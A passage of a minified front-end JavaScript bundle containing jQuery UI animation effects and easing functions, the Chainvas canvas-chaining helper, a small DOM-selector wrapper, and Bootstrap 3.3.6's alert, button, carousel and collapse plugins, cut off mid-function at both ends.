                        i.mode = l.shift(), !1 === A.uiBackCompat || o ? "none" === i.mode ? (s[I](), n()) : r.call(s[0], i, t) : (s.is(":hidden") ? "hide" === I : "show" === I) ? (s[I](), n()) : r.call(s[0], i, n)
                    }
                    var i = e.apply(this, arguments),
                        r = A.effects.effect[i.effect],
                        o = r.mode,
                        n = i.queue,
                        s = n || "fx",
                        a = i.complete,
                        I = i.mode,
                        l = [],
                        c = function(e) {
                            var t = A(this),
                                i = A.effects.mode(t, I) || o;
                            t.data(u, !0), l.push(i), o && ("show" === i || i === o && "hide" === i) && t.show(), o && "none" === i || A.effects.saveStyle(t), A.isFunction(e) && e()
                        };
                    return A.fx.off || !r ? I ? this[I](i.duration, a) : this.each(function() {
                        a && a.call(this)
                    }) : !1 === n ? this.each(c).each(t) : this.queue(s, c).queue(s, t)
                },
                show: function(A) {
                    return function(i) {
                        if (t(i)) return A.apply(this, arguments);
                        var r = e.apply(this, arguments);
                        return r.mode = "show", this.effect.call(this, r)
                    }
                }(A.fn.show),
                hide: function(A) {
                    return function(i) {
                        if (t(i)) return A.apply(this, arguments);
                        var r = e.apply(this, arguments);
                        return r.mode = "hide", this.effect.call(this, r)
                    }
                }(A.fn.hide),
                toggle: function(A) {
                    return function(i) {
                        if (t(i) || "boolean" == typeof i) return A.apply(this, arguments);
                        var r = e.apply(this, arguments);
                        return r.mode = "toggle", this.effect.call(this, r)
                    }
                }(A.fn.toggle),
                cssUnit: function(e) {
                    var t = this.css(e),
                        i = [];
                    return A.each(["em", "px", "%", "pt"], function(A, e) {
                        t.indexOf(e) > 0 && (i = [parseFloat(t), e])
                    }), i
                },
                cssClip: function(A) {
                    return A ? this.css("clip", "rect(" + A.top + "px " + A.right + "px " + A.bottom + "px " + A.left + "px)") : i(this.css("clip"), this)
                },
                transfer: function(e, t) {
                    var i = A(this),
                        r = A(e.to),
                        o = "fixed" === r.css("position"),
                        n = A("body"),
                        s = o ? n.scrollTop() : 0,
                        a = o ? n.scrollLeft() : 0,
                        I = r.offset(),
                        l = {
                            top: I.top - s,
                            left: I.left - a,
                            height: r.innerHeight(),
                            width: r.innerWidth()
                        },
                        c = i.offset(),
                        B = A("<div class='ui-effects-transfer'></div>").appendTo("body").addClass(e.className).css({
                            top: c.top - s,
                            left: c.left - a,
                            height: i.innerHeight(),
                            width: i.innerWidth(),
                            position: o ? "fixed" : "absolute"
                        }).animate(l, e.duration, e.easing, function() {
                            B.remove(), A.isFunction(t) && t()
                        })
                }
            }), A.fx.step.clip = function(e) {
                e.clipInit || (e.start = A(e.elem).cssClip(), "string" == typeof e.end && (e.end = i(e.end, e.elem)), e.clipInit = !0), A(e.elem).cssClip({
                    top: e.pos * (e.end.top - e.start.top) + e.start.top,
                    right: e.pos * (e.end.right - e.start.right) + e.start.right,
                    bottom: e.pos * (e.end.bottom - e.start.bottom) + e.start.bottom,
                    left: e.pos * (e.end.left - e.start.left) + e.start.left
                })
            }
        }(),
        function() {
            var e = {};
            A.each(["Quad", "Cubic", "Quart", "Quint", "Expo"], function(A, t) {
                e[t] = function(e) {
                    return Math.pow(e, A + 2)
                }
            }), A.extend(e, {
                Sine: function(A) {
                    return 1 - Math.cos(A * Math.PI / 2)
                },
                Circ: function(A) {
                    return 1 - Math.sqrt(1 - A * A)
                },
                Elastic: function(A) {
                    return 0 === A || 1 === A ? A : -Math.pow(2, 8 * (A - 1)) * Math.sin((80 * (A - 1) - 7.5) * Math.PI / 15)
                },
                Back: function(A) {
                    return A * A * (3 * A - 2)
                },
                Bounce: function(A) {
                    for (var e, t = 4;
                        ((e = Math.pow(2, --t)) - 1) / 11 > A;);
                    return 1 / Math.pow(4, 3 - t) - 7.5625 * Math.pow((3 * e - 2) / 22 - A, 2)
                }
            }), A.each(e, function(e, t) {
                A.easing["easeIn" + e] = t, A.easing["easeOut" + e] = function(A) {
                    return 1 - t(1 - A)
                }, A.easing["easeInOut" + e] = function(A) {
                    return .5 > A ? t(2 * A) / 2 : 1 - t(-2 * A + 2) / 2
                }
            })
        }();
    A.effects;
    A.effects.define("blind", "hide", function(e, t) {
        var i = {
                up: ["bottom", "top"],
                vertical: ["bottom", "top"],
                down: ["top", "bottom"],
                left: ["right", "left"],
                horizontal: ["right", "left"],
                right: ["left", "right"]
            },
            r = A(this),
            o = e.direction || "up",
            n = r.cssClip(),
            s = {
                clip: A.extend({}, n)
            },
            a = A.effects.createPlaceholder(r);
        s.clip[i[o][0]] = s.clip[i[o][1]], "show" === e.mode && (r.cssClip(s.clip), a && a.css(A.effects.clipToBox(s)), s.clip = n), a && a.animate(A.effects.clipToBox(s), e.duration, e.easing), r.animate(s, {
            queue: !1,
            duration: e.duration,
            easing: e.easing,
            complete: t
        })
    }), A.effects.define("bounce", function(e, t) {
        var i, r, o, n = A(this),
            s = e.mode,
            a = "hide" === s,
            I = "show" === s,
            l = e.direction || "up",
            c = e.distance,
            B = e.times || 5,
            g = 2 * B + (I || a ? 1 : 0),
            h = e.duration / g,
            E = e.easing,
            u = "up" === l || "down" === l ? "top" : "left",
            Q = "up" === l || "left" === l,
            d = 0,
            f = n.queue().length;
        for (A.effects.createPlaceholder(n), o = n.css(u), c || (c = n["top" === u ? "outerHeight" : "outerWidth"]() / 3), I && (r = {
                opacity: 1
            }, r[u] = o, n.css("opacity", 0).css(u, Q ? 2 * -c : 2 * c).animate(r, h, E)), a && (c /= Math.pow(2, B - 1)), r = {}, r[u] = o; B > d; d++) i = {}, i[u] = (Q ? "-=" : "+=") + c, n.animate(i, h, E).animate(r, h, E), c = a ? 2 * c : c / 2;
        a && (i = {
            opacity: 0
        }, i[u] = (Q ? "-=" : "+=") + c, n.animate(i, h, E)), n.queue(t), A.effects.unshift(n, f, g + 1)
    }), A.effects.define("clip", "hide", function(e, t) {
        var i, r = {},
            o = A(this),
            n = e.direction || "vertical",
            s = "both" === n,
            a = s || "horizontal" === n,
            I = s || "vertical" === n;
        i = o.cssClip(), r.clip = {
            top: I ? (i.bottom - i.top) / 2 : i.top,
            right: a ? (i.right - i.left) / 2 : i.right,
            bottom: I ? (i.bottom - i.top) / 2 : i.bottom,
            left: a ? (i.right - i.left) / 2 : i.left
        }, A.effects.createPlaceholder(o), "show" === e.mode && (o.cssClip(r.clip), r.clip = i), o.animate(r, {
            queue: !1,
            duration: e.duration,
            easing: e.easing,
            complete: t
        })
    }), A.effects.define("drop", "hide", function(e, t) {
        var i, r = A(this),
            o = e.mode,
            n = "show" === o,
            s = e.direction || "left",
            a = "up" === s || "down" === s ? "top" : "left",
            I = "up" === s || "left" === s ? "-=" : "+=",
            l = "+=" === I ? "-=" : "+=",
            c = {
                opacity: 0
            };
        A.effects.createPlaceholder(r), i = e.distance || r["top" === a ? "outerHeight" : "outerWidth"](!0) / 2, c[a] = I + i, n && (r.css(c), c[a] = l + i, c.opacity = 1), r.animate(c, {
            queue: !1,
            duration: e.duration,
            easing: e.easing,
            complete: t
        })
    }), A.effects.define("explode", "hide", function(e, t) {
        function i() {
            f.push(this), f.length === c * B && r()
        }

        function r() {
            g.css({
                visibility: "visible"
            }), A(f).remove(), t()
        }
        var o, n, s, a, I, l, c = e.pieces ? Math.round(Math.sqrt(e.pieces)) : 3,
            B = c,
            g = A(this),
            h = e.mode,
            E = "show" === h,
            u = g.show().css("visibility", "hidden").offset(),
            Q = Math.ceil(g.outerWidth() / B),
            d = Math.ceil(g.outerHeight() / c),
            f = [];
        for (o = 0; c > o; o++)
            for (a = u.top + o * d, l = o - (c - 1) / 2, n = 0; B > n; n++) s = u.left + n * Q, I = n - (B - 1) / 2, g.clone().appendTo("body").wrap("<div></div>").css({
                position: "absolute",
                visibility: "visible",
                left: -n * Q,
                top: -o * d
            }).parent().addClass("ui-effects-explode").css({
                position: "absolute",
                overflow: "hidden",
                width: Q,
                height: d,
                left: s + (E ? I * Q : 0),
                top: a + (E ? l * d : 0),
                opacity: E ? 0 : 1
            }).animate({
                left: s + (E ? 0 : I * Q),
                top: a + (E ? 0 : l * d),
                opacity: E ? 1 : 0
            }, e.duration || 500, e.easing, i)
    }), A.effects.define("fade", "toggle", function(e, t) {
        var i = "show" === e.mode;
        A(this).css("opacity", i ? 0 : 1).animate({
            opacity: i ? 1 : 0
        }, {
            queue: !1,
            duration: e.duration,
            easing: e.easing,
            complete: t
        })
    }), A.effects.define("fold", "hide", function(e, t) {
        var i = A(this),
            r = e.mode,
            o = "show" === r,
            n = "hide" === r,
            s = e.size || 15,
            a = /([0-9]+)%/.exec(s),
            I = !!e.horizFirst,
            l = I ? ["right", "bottom"] : ["bottom", "right"],
            c = e.duration / 2,
            B = A.effects.createPlaceholder(i),
            g = i.cssClip(),
            h = {
                clip: A.extend({}, g)
            },
            E = {
                clip: A.extend({}, g)
            },
            u = [g[l[0]], g[l[1]]],
            Q = i.queue().length;
        a && (s = parseInt(a[1], 10) / 100 * u[n ? 0 : 1]), h.clip[l[0]] = s, E.clip[l[0]] = s, E.clip[l[1]] = 0, o && (i.cssClip(E.clip), B && B.css(A.effects.clipToBox(E)), E.clip = g), i.queue(function(t) {
            B && B.animate(A.effects.clipToBox(h), c, e.easing).animate(A.effects.clipToBox(E), c, e.easing), t()
        }).animate(h, c, e.easing).animate(E, c, e.easing).queue(t), A.effects.unshift(i, Q, 4)
    }), A.effects.define("highlight", "show", function(e, t) {
        var i = A(this),
            r = {
                backgroundColor: i.css("backgroundColor")
            };
        "hide" === e.mode && (r.opacity = 0), A.effects.saveStyle(i), i.css({
            backgroundImage: "none",
            backgroundColor: e.color || "#ffff99"
        }).animate(r, {
            queue: !1,
            duration: e.duration,
            easing: e.easing,
            complete: t
        })
    }), A.effects.define("size", function(e, t) {
        var i, r, o, n = A(this),
            s = ["fontSize"],
            a = ["borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom"],
            I = ["borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight"],
            l = e.mode,
            c = "effect" !== l,
            B = e.scale || "both",
            g = e.origin || ["middle", "center"],
            h = n.css("position"),
            E = n.position(),
            u = A.effects.scaledDimensions(n),
            Q = e.from || u,
            d = e.to || A.effects.scaledDimensions(n, 0);
        A.effects.createPlaceholder(n), "show" === l && (o = Q, Q = d, d = o), r = {
            from: {
                y: Q.height / u.height,
                x: Q.width / u.width
            },
            to: {
                y: d.height / u.height,
                x: d.width / u.width
            }
        }, ("box" === B || "both" === B) && (r.from.y !== r.to.y && (Q = A.effects.setTransition(n, a, r.from.y, Q), d = A.effects.setTransition(n, a, r.to.y, d)), r.from.x !== r.to.x && (Q = A.effects.setTransition(n, I, r.from.x, Q), d = A.effects.setTransition(n, I, r.to.x, d))), ("content" === B || "both" === B) && r.from.y !== r.to.y && (Q = A.effects.setTransition(n, s, r.from.y, Q), d = A.effects.setTransition(n, s, r.to.y, d)), g && (i = A.effects.getBaseline(g, u), Q.top = (u.outerHeight - Q.outerHeight) * i.y + E.top, Q.left = (u.outerWidth - Q.outerWidth) * i.x + E.left, d.top = (u.outerHeight - d.outerHeight) * i.y + E.top, d.left = (u.outerWidth - d.outerWidth) * i.x + E.left), n.css(Q), ("content" === B || "both" === B) && (a = a.concat(["marginTop", "marginBottom"]).concat(s), I = I.concat(["marginLeft", "marginRight"]), n.find("*[width]").each(function() {
            var t = A(this),
                i = A.effects.scaledDimensions(t),
                o = {
                    height: i.height * r.from.y,
                    width: i.width * r.from.x,
                    outerHeight: i.outerHeight * r.from.y,
                    outerWidth: i.outerWidth * r.from.x
                },
                n = {
                    height: i.height * r.to.y,
                    width: i.width * r.to.x,
                    outerHeight: i.height * r.to.y,
                    outerWidth: i.width * r.to.x
                };
            r.from.y !== r.to.y && (o = A.effects.setTransition(t, a, r.from.y, o), n = A.effects.setTransition(t, a, r.to.y, n)), r.from.x !== r.to.x && (o = A.effects.setTransition(t, I, r.from.x, o), n = A.effects.setTransition(t, I, r.to.x, n)), c && A.effects.saveStyle(t), t.css(o), t.animate(n, e.duration, e.easing, function() {
                c && A.effects.restoreStyle(t)
            })
        })), n.animate(d, {
            queue: !1,
            duration: e.duration,
            easing: e.easing,
            complete: function() {
                var e = n.offset();
                0 === d.opacity && n.css("opacity", Q.opacity), c || (n.css("position", "static" === h ? "relative" : h).offset(e), A.effects.saveStyle(n)), t()
            }
        })
    }), A.effects.define("scale", function(e, t) {
        var i = A(this),
            r = e.mode,
            o = parseInt(e.percent, 10) || (0 === parseInt(e.percent, 10) ? 0 : "effect" !== r ? 0 : 100),
            n = A.extend(!0, {
                from: A.effects.scaledDimensions(i),
                to: A.effects.scaledDimensions(i, o, e.direction || "both"),
                origin: e.origin || ["middle", "center"]
            }, e);
        e.fade && (n.from.opacity = 1, n.to.opacity = 0), A.effects.effect.size.call(this, n, t)
    }), A.effects.define("puff", "hide", function(e, t) {
        var i = A.extend(!0, {}, e, {
            fade: !0,
            percent: parseInt(e.percent, 10) || 150
        });
        A.effects.effect.scale.call(this, i, t)
    }), A.effects.define("pulsate", "show", function(e, t) {
        var i = A(this),
            r = e.mode,
            o = "show" === r,
            n = "hide" === r,
            s = o || n,
            a = 2 * (e.times || 5) + (s ? 1 : 0),
            I = e.duration / a,
            l = 0,
            c = 1,
            B = i.queue().length;
        for ((o || !i.is(":visible")) && (i.css("opacity", 0).show(), l = 1); a > c; c++) i.animate({
            opacity: l
        }, I, e.easing), l = 1 - l;
        i.animate({
            opacity: l
        }, I, e.easing), i.queue(t), A.effects.unshift(i, B, a + 1)
    }), A.effects.define("shake", function(e, t) {
        var i = 1,
            r = A(this),
            o = e.direction || "left",
            n = e.distance || 20,
            s = e.times || 3,
            a = 2 * s + 1,
            I = Math.round(e.duration / a),
            l = "up" === o || "down" === o ? "top" : "left",
            c = "up" === o || "left" === o,
            B = {},
            g = {},
            h = {},
            E = r.queue().length;
        for (A.effects.createPlaceholder(r), B[l] = (c ? "-=" : "+=") + n, g[l] = (c ? "+=" : "-=") + 2 * n, h[l] = (c ? "-=" : "+=") + 2 * n, r.animate(B, I, e.easing); s > i; i++) r.animate(g, I, e.easing).animate(h, I, e.easing);
        r.animate(g, I, e.easing).animate(B, I / 2, e.easing).queue(t), A.effects.unshift(r, E, a + 1)
    }), A.effects.define("slide", "show", function(e, t) {
        var i, r, o = A(this),
            n = {
                up: ["bottom", "top"],
                down: ["top", "bottom"],
                left: ["right", "left"],
                right: ["left", "right"]
            },
            s = e.mode,
            a = e.direction || "left",
            I = "up" === a || "down" === a ? "top" : "left",
            l = "up" === a || "left" === a,
            c = e.distance || o["top" === I ? "outerHeight" : "outerWidth"](!0),
            B = {};
        A.effects.createPlaceholder(o), i = o.cssClip(), r = o.position()[I], B[I] = (l ? -1 : 1) * c + r, B.clip = o.cssClip(), B.clip[n[a][1]] = B.clip[n[a][0]], "show" === s && (o.cssClip(B.clip), o.css(I, B[I]), B.clip = i, B[I] = r), o.animate(B, {
            queue: !1,
            duration: e.duration,
            easing: e.easing,
            complete: t
        })
    });
    !1 !== A.uiBackCompat && A.effects.define("transfer", function(e, t) {
        A(this).transfer(e, t)
    })
}),
function() {
    var A = window.Chainvas = {
        chainable: function(A) {
            return function() {
                var e = A.apply(this, arguments);
                return void 0 === e ? this : e
            }
        },
        chainablizeOne: function(e, t) {
            try {
                A.utils.hasOwnProperty(e, t) && A.utils.isFunction(e[t]) && (e[t] = A.chainable(e[t]))
            } catch (A) {}
            return this
        },
        chainablize: function(e, t) {
            var i = e.prototype;
            if (t)
                for (var r = t.length; r--;) A.chainablizeOne(i, t[r]);
            else
                for (r in i) A.chainablizeOne(i, r);
            return this
        },
        helpers: function(e, t) {
            var i, r = e.prototype;
            for (i in A.methods) r && !(i in r) && (r[i] = A.methods[i]);
            return A.extend(r, t), this
        },
        extend: function(A, e) {
            return Chainvas.methods.prop.call(A, e)
        },
        global: function(e, t, i) {
            "string" == typeof e && (e = [e]);
            for (var r = e.length; r--;) {
                var o = window[e[r]];
                o && A.chainablize(o, i).helpers(o, t)
            }
        },
        methods: {
            prop: function() {
                if (1 === arguments.length) {
                    var A, e = arguments[0];
                    for (A in e) this[A] = e[A]
                } else 2 === arguments.length && (this[arguments[0]] = arguments[1]);
                return this
            }
        },
        utils: {
            isFunction: function(A) {
                var e = Object.prototype.toString.call(A);
                return "[object Function]" === e || "[object Object]" === e && "call" in A && "apply" in A && /^\s*\bfunction\s+\w+\([\w,]*\) \{/.test(A + "")
            },
            hasOwnProperty: function(A, e) {
                try {
                    return A.hasOwnProperty(e)
                } catch (t) {
                    return e in A && (!A.prototype || !(e in A.prototype) || A.prototype[e] !== A[e])
                }
            }
        }
    }
}(),
function() {
    var A = ["CSSStyleDeclaration", "DOMTokenList", "Node", "Element"];
    if (window.HTMLElement && "addEventListener" in window.HTMLElement.prototype && window.Components && window.Components.interfaces)
        for (var e in Components.interfaces)
            if (e.match(/^nsIDOMHTML\w*Element$/)) {
                var t = e.replace(/^nsIDOM/, "");
                window[t] && A.push(t)
            }
    Chainvas.global(A)
}(), Chainvas.global("CanvasRenderingContext2D", {
    circle: function(A, e, t) {
        return this.beginPath().arc(A, e, t, 0, 2 * Math.PI, !1).closePath()
    },
    roundRect: function(A, e, t, i, r) {
        return this.beginPath().moveTo(A + r, e).lineTo(A + t - r, e).quadraticCurveTo(A + t, e, A + t, e + r).lineTo(A + t, e + i - r).quadraticCurveTo(A + t, e + i, A + t - r, e + i).lineTo(A + r, e + i).quadraticCurveTo(A, e + i, A, e + i - r).lineTo(A, e + r).quadraticCurveTo(A, e, A + r, e).closePath()
    }
});
var Env = function() {
    function A(A, e) {
        return (e || document).querySelector(A)
    }

    function e(A, e) {
        return (e || document).querySelectorAll(A)
    }
    return {
        env1: A,
        env2: e
    }
}();
if ("undefined" == typeof jQuery) throw new Error("Bootstrap's JavaScript requires jQuery"); + function(A) {
    "use strict";
    var e = A.fn.jquery.split(" ")[0].split(".");
    if (e[0] < 2 && e[1] < 9 || 1 == e[0] && 9 == e[1] && e[2] < 1 || e[0] > 2) throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 3")
}(jQuery),
function(A) {
    "use strict";

    function e() {
        var A = document.createElement("bootstrap"),
            e = {
                WebkitTransition: "webkitTransitionEnd",
                MozTransition: "transitionend",
                OTransition: "oTransitionEnd otransitionend",
                transition: "transitionend"
            };
        for (var t in e)
            if (void 0 !== A.style[t]) return {
                end: e[t]
            };
        return !1
    }
    A.fn.emulateTransitionEnd = function(e) {
        var t = !1,
            i = this;
        A(this).one("bsTransitionEnd", function() {
            t = !0
        });
        var r = function() {
            t || A(i).trigger(A.support.transition.end)
        };
        return setTimeout(r, e), this
    }, A(function() {
        A.support.transition = e(), A.support.transition && (A.event.special.bsTransitionEnd = {
            bindType: A.support.transition.end,
            delegateType: A.support.transition.end,
            handle: function(e) {
                return A(e.target).is(this) ? e.handleObj.handler.apply(this, arguments) : void 0
            }
        })
    })
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        return this.each(function() {
            var t = A(this),
                r = t.data("bs.alert");
            r || t.data("bs.alert", r = new i(this)), "string" == typeof e && r[e].call(t)
        })
    }
    var t = '[data-dismiss="alert"]',
        i = function(e) {
            A(e).on("click", t, this.close)
        };
    i.VERSION = "3.3.6", i.TRANSITION_DURATION = 150, i.prototype.close = function(e) {
        function t() {
            n.detach().trigger("closed.bs.alert").remove()
        }
        var r = A(this),
            o = r.attr("data-target");
        o || (o = r.attr("href"), o = o && o.replace(/.*(?=#[^\s]*$)/, ""));
        var n = A(o);
        e && e.preventDefault(), n.length || (n = r.closest(".alert")), n.trigger(e = A.Event("close.bs.alert")), e.isDefaultPrevented() || (n.removeClass("in"), A.support.transition && n.hasClass("fade") ? n.one("bsTransitionEnd", t).emulateTransitionEnd(i.TRANSITION_DURATION) : t())
    };
    var r = A.fn.alert;
    A.fn.alert = e, A.fn.alert.Constructor = i, A.fn.alert.noConflict = function() {
        return A.fn.alert = r, this
    }, A(document).on("click.bs.alert.data-api", t, i.prototype.close)
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        return this.each(function() {
            var i = A(this),
                r = i.data("bs.button"),
                o = "object" == typeof e && e;
            r || i.data("bs.button", r = new t(this, o)), "toggle" == e ? r.toggle() : e && r.setState(e)
        })
    }
    var t = function(e, i) {
        this.$element = A(e), this.options = A.extend({}, t.DEFAULTS, i), this.isLoading = !1
    };
    t.VERSION = "3.3.6", t.DEFAULTS = {
        loadingText: "loading..."
    }, t.prototype.setState = function(e) {
        var t = "disabled",
            i = this.$element,
            r = i.is("input") ? "val" : "html",
            o = i.data();
        e += "Text", null == o.resetText && i.data("resetText", i[r]()), setTimeout(A.proxy(function() {
            i[r](null == o[e] ? this.options[e] : o[e]), "loadingText" == e ? (this.isLoading = !0, i.addClass(t).attr(t, t)) : this.isLoading && (this.isLoading = !1, i.removeClass(t).removeAttr(t))
        }, this), 0)
    }, t.prototype.toggle = function() {
        var A = !0,
            e = this.$element.closest('[data-toggle="buttons"]');
        if (e.length) {
            var t = this.$element.find("input");
            "radio" == t.prop("type") ? (t.prop("checked") && (A = !1), e.find(".active").removeClass("active"), this.$element.addClass("active")) : "checkbox" == t.prop("type") && (t.prop("checked") !== this.$element.hasClass("active") && (A = !1), this.$element.toggleClass("active")), t.prop("checked", this.$element.hasClass("active")), A && t.trigger("change")
        } else this.$element.attr("aria-pressed", !this.$element.hasClass("active")), this.$element.toggleClass("active")
    };
    var i = A.fn.button;
    A.fn.button = e, A.fn.button.Constructor = t, A.fn.button.noConflict = function() {
        return A.fn.button = i, this
    }, A(document).on("click.bs.button.data-api", '[data-toggle^="button"]', function(t) {
        var i = A(t.target);
        i.hasClass("btn") || (i = i.closest(".btn")), e.call(i, "toggle"), A(t.target).is('input[type="radio"]') || A(t.target).is('input[type="checkbox"]') || t.preventDefault()
    }).on("focus.bs.button.data-api blur.bs.button.data-api", '[data-toggle^="button"]', function(e) {
        A(e.target).closest(".btn").toggleClass("focus", /^focus(in)?$/.test(e.type))
    })
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        return this.each(function() {
            var i = A(this),
                r = i.data("bs.carousel"),
                o = A.extend({}, t.DEFAULTS, i.data(), "object" == typeof e && e),
                n = "string" == typeof e ? e : o.slide;
            r || i.data("bs.carousel", r = new t(this, o)), "number" == typeof e ? r.to(e) : n ? r[n]() : o.interval && r.pause().cycle()
        })
    }
    var t = function(e, t) {
        this.$element = A(e), this.$indicators = this.$element.find(".carousel-indicators"), this.options = t, this.paused = null, this.sliding = null, this.interval = null, this.$active = null, this.$items = null, this.options.keyboard && this.$element.on("keydown.bs.carousel", A.proxy(this.keydown, this)), "hover" == this.options.pause && !("ontouchstart" in document.documentElement) && this.$element.on("mouseenter.bs.carousel", A.proxy(this.pause, this)).on("mouseleave.bs.carousel", A.proxy(this.cycle, this))
    };
    t.VERSION = "3.3.6", t.TRANSITION_DURATION = 600, t.DEFAULTS = {
        interval: 5e3,
        pause: "hover",
        wrap: !0,
        keyboard: !0
    }, t.prototype.keydown = function(A) {
        if (!/input|textarea/i.test(A.target.tagName)) {
            switch (A.which) {
                case 37:
                    this.prev();
                    break;
                case 39:
                    this.next();
                    break;
                default:
                    return
            }
            A.preventDefault()
        }
    }, t.prototype.cycle = function(e) {
        return e || (this.paused = !1), this.interval && clearInterval(this.interval), this.options.interval && !this.paused && (this.interval = setInterval(A.proxy(this.next, this), this.options.interval)), this
    }, t.prototype.getItemIndex = function(A) {
        return this.$items = A.parent().children(".item"), this.$items.index(A || this.$active)
    }, t.prototype.getItemForDirection = function(A, e) {
        var t = this.getItemIndex(e);
        if (("prev" == A && 0 === t || "next" == A && t == this.$items.length - 1) && !this.options.wrap) return e;
        var i = "prev" == A ? -1 : 1,
            r = (t + i) % this.$items.length;
        return this.$items.eq(r)
    }, t.prototype.to = function(A) {
        var e = this,
            t = this.getItemIndex(this.$active = this.$element.find(".item.active"));
        return A > this.$items.length - 1 || 0 > A ? void 0 : this.sliding ? this.$element.one("slid.bs.carousel", function() {
            e.to(A)
        }) : t == A ? this.pause().cycle() : this.slide(A > t ? "next" : "prev", this.$items.eq(A))
    }, t.prototype.pause = function(e) {
        return e || (this.paused = !0), this.$element.find(".next, .prev").length && A.support.transition && (this.$element.trigger(A.support.transition.end), this.cycle(!0)), this.interval = clearInterval(this.interval), this
    }, t.prototype.next = function() {
        return this.sliding ? void 0 : this.slide("next")
    }, t.prototype.prev = function() {
        return this.sliding ? void 0 : this.slide("prev")
    }, t.prototype.slide = function(e, i) {
        var r = this.$element.find(".item.active"),
            o = i || this.getItemForDirection(e, r),
            n = this.interval,
            s = "next" == e ? "left" : "right",
            a = this;
        if (o.hasClass("active")) return this.sliding = !1;
        var I = o[0],
            l = A.Event("slide.bs.carousel", {
                relatedTarget: I,
                direction: s
            });
        if (this.$element.trigger(l), !l.isDefaultPrevented()) {
            if (this.sliding = !0, n && this.pause(), this.$indicators.length) {
                this.$indicators.find(".active").removeClass("active");
                var c = A(this.$indicators.children()[this.getItemIndex(o)]);
                c && c.addClass("active")
            }
            var B = A.Event("slid.bs.carousel", {
                relatedTarget: I,
                direction: s
            });
            return A.support.transition && this.$element.hasClass("slide") ? (o.addClass(e), o[0].offsetWidth, r.addClass(s), o.addClass(s), r.one("bsTransitionEnd", function() {
                o.removeClass([e, s].join(" ")).addClass("active"), r.removeClass(["active", s].join(" ")), a.sliding = !1, setTimeout(function() {
                    a.$element.trigger(B)
                }, 0)
            }).emulateTransitionEnd(t.TRANSITION_DURATION)) : (r.removeClass("active"), o.addClass("active"), this.sliding = !1, this.$element.trigger(B)), n && this.cycle(), this
        }
    };
    var i = A.fn.carousel;
    A.fn.carousel = e, A.fn.carousel.Constructor = t, A.fn.carousel.noConflict = function() {
        return A.fn.carousel = i, this
    };
    var r = function(t) {
        var i, r = A(this),
            o = A(r.attr("data-target") || (i = r.attr("href")) && i.replace(/.*(?=#[^\s]+$)/, ""));
        if (o.hasClass("carousel")) {
            var n = A.extend({}, o.data(), r.data()),
                s = r.attr("data-slide-to");
            s && (n.interval = !1), e.call(o, n), s && o.data("bs.carousel").to(s), t.preventDefault()
        }
    };
    A(document).on("click.bs.carousel.data-api", "[data-slide]", r).on("click.bs.carousel.data-api", "[data-slide-to]", r), A(window).on("load", function() {
        A('[data-ride="carousel"]').each(function() {
            var t = A(this);
            e.call(t, t.data())
        })
    })
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        var t, i = e.attr("data-target") || (t = e.attr("href")) && t.replace(/.*(?=#[^\s]+$)/, "");
        return A(i)
    }

    function t(e) {
        return this.each(function() {
            var t = A(this),
                r = t.data("bs.collapse"),
                o = A.extend({}, i.DEFAULTS, t.data(), "object" == typeof e && e);
            !r && o.toggle && /show|hide/.test(e) && (o.toggle = !1), r || t.data("bs.collapse", r = new i(this, o)), "string" == typeof e && r[e]()
        })
    }
    var i = function(e, t) {
        this.$element = A(e), this.options = A.extend({}, i.DEFAULTS, t), this.$trigger = A('[data-toggle="collapse"][href="#' + e.id + '"],[data-toggle="collapse"][data-target="#' + e.id + '"]'), this.transitioning = null, this.options.parent ? this.$parent = this.getParent() : this.addAriaAndCollapsedClass(this.$element, this.$trigger), this.options.toggle && this.toggle()
    };
    i.VERSION = "3.3.6", i.TRANSITION_DURATION = 350, i.DEFAULTS = {
        toggle: !0
    }, i.prototype.dimension = function() {
        return this.$element.hasClass("width") ? "width" : "height"
    }, i.prototype.show = function() {
        if (!this.transitioning && !this.$element.hasClass("in")) {
            var e, r = this.$parent && this.$parent.children(".panel").children(".in, .collapsing");
            if (!(r && r.length && (e = r.data("bs.collapse")) && e.transitioning)) {
                var o = A.Event("show.bs.collapse");
                if (this.$element.trigger(o), !o.isDefaultPrevented()) {
                    r && r.length && (t.call(r, "hide"), e || r.data("bs.collapse", null));
                    var n = this.dimension();
                    this.$element.removeClass("collapse").addClass("collapsing")[n](0).attr("aria-expanded", !0), this.$trigger.removeClass("collapsed").attr("aria-expanded", !0), this.transitioning = 1;
                    var s = function() {
                        this.$element.removeClass("collapsing").addClass("collapse in")[n](""), this.transitioning = 0, this.$element.trigger("shown.bs.collapse")
                    };
                    if (!A.support.transition) return s.call(this);
                    var a = A.camelCase(["scroll", n].join("-"));
                    this.$element.one("bsTransitionEnd", A.proxy(s, this)).emulateTransitionEnd(i.TRANSITION_DURATION)[n](this.$element[0][a])
                }
            }
        }
    }, i.prototype.hide = function() {
        if (!this.transitioning && this.$element.hasClass("in")) {
            var e = A.Event("hide.bs.collapse");
            if (this.$element.trigger(e), !e.isDefaultPrevented()) {
                var t = this.dimension();
                this.$element[t](this.$element[t]())[0].offsetHeight, this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded", !1), this.$trigger.addClass("collapsed").attr("aria-expanded", !1), this.transitioning = 1;
                var r = function() {
                    this.transitioning = 0, this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")
                };
                return A.support.transition ? void this.$element[t](0).one("bsTransitionEnd", A.proxy(r, this)).emulateTransitionEnd(i.TRANSITION_DURATION) : r.call(this)
            }
        }
    }, i.prototype.toggle = function() {
        this[this.$element.hasClass("in") ? "hide" : "show"]()
    }, i.prototype.getParent = function() {
        return A(this.options.parent).find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]').each(A.proxy(function(t, i) {
            var r = A(i);
            this.addAriaAndCollapsedClass(e(r), r)
        }, this)).end()
    }, i.prototype.addAriaAndCollapsedClass = function(A, e) {
        var t = A.hasClass("in");
        A.attr("aria-expanded", t), e.toggleClass("collapsed", !t).attr("aria-expanded", t)
    };
    var r = A.fn.collapse;
    A.fn.collapse = t, A.fn.collapse.Constructor = i, A.fn.collapse.noConflict = function() {
        return A.fn.collapse = r, this
